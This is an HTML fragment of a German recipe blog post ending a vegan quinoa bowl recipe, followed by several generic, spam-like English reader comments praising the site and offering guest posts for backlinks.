<p>Zum Schluss könnt ihr noch etwas Meersalz und Pfeffer über das Gemüse streuen und fertig ist die hippe Quinoa Bowl. Lasst es euch schmecken!</p>
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				<a href=" https://www.trail-kitchen.com/quinoa-bowl-eine-schuessel-voll-mit-veganem-superfood/#comment-2099 ">
					27. März 2022&nbsp;at&nbsp;6:22				</a>
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								<p>This design is wicked! You certainly know how to keep a reader entertained.<br />
Between your wit and your videos, I was almost moved to start my own blog (well, almost&#8230;HaHa!) Fantastic job.</p>
<p>I really loved what you had to say, and more than that,<br />
how you presented it. Too cool!</p>
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				<a href=" https://www.trail-kitchen.com/quinoa-bowl-eine-schuessel-voll-mit-veganem-superfood/#comment-2167 ">
					29. März 2022&nbsp;at&nbsp;17:56				</a>
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								<p>Appreciate this post. Let me try it out.</p>
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				<a href=" https://www.trail-kitchen.com/quinoa-bowl-eine-schuessel-voll-mit-veganem-superfood/#comment-2203 ">
					31. März 2022&nbsp;at&nbsp;1:18				</a>
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								<p>I love your blog.. very nice colors &amp; theme. Did you create this website yourself or did you hire someone to do it for<br />
you? Plz respond as I&#8217;m looking to construct my<br />
own blog and would like to find out where u got this<br />
from. kudos</p>
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				<a href=" https://www.trail-kitchen.com/quinoa-bowl-eine-schuessel-voll-mit-veganem-superfood/#comment-2365 ">
					6. April 2022&nbsp;at&nbsp;9:44				</a>
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								<p>Please let me know if you&#8217;re looking for a article author for your weblog.<br />
You have some really great posts and I believe I would be a good asset.<br />
If you ever want to take some of the load off, I&#8217;d love to write some content for your blog in exchange for a link back to<br />
mine. Please blast me an email if interested. Many thanks!</p>
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